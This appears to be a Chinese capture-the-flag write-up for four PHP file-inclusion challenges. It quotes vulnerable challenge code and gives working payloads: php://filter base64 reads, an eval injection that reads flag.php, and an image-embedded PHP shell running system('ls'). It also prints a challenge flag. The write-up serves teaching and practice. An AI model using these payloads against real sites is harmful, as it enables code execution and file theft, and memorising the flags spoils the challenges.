文件包含 150
1、链接:南京邮电大学网络攻防平台文件包含150
2、解题方法:
使用php://filter协议读取index文件。
3、源码分析
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
对data、input协议及../进行了过滤,但能通过filter协议进行读取。
本地包含60
1、链接:BugkuCTF本地包含60
2、解题方法
拼接eval构造payload。
payload:http://123.206.87.240:8003/?hello=);print_r(file("./flag.php"));//
3、源码分析
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
这里注意php语言的一些变量定义及函数。
4、进阶
该题和php变量定义的理解联系紧密,可参考博客,进一步学习。
文件包含2
1、链接:BugkuCTF本地包含2 150
2、解题方法
查看源码,发现upload.php,结合题目提示想到本地包含配合文件上传。
然鹅上传后感觉文件被秒删了,菜刀也没连接上。另找方法。
在图片马中修改payload为<script language=php>system("ls")</script>,利用文件包含列出当前目录,发现flag文件,再查看文件获得flag。
Web include 50
1、链接:I春秋“百度杯”CTF比赛 2017 二月场 50
2、解题方法
根据提示很容易测出文件包含漏洞。
发现无法写入php文件,利用system函数执行命令,获取当前目录文件。
利用php://input协议读取文件。
payload:http://07913355aa684fd49772107ed32c33259735ca53ab934e0d.game.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php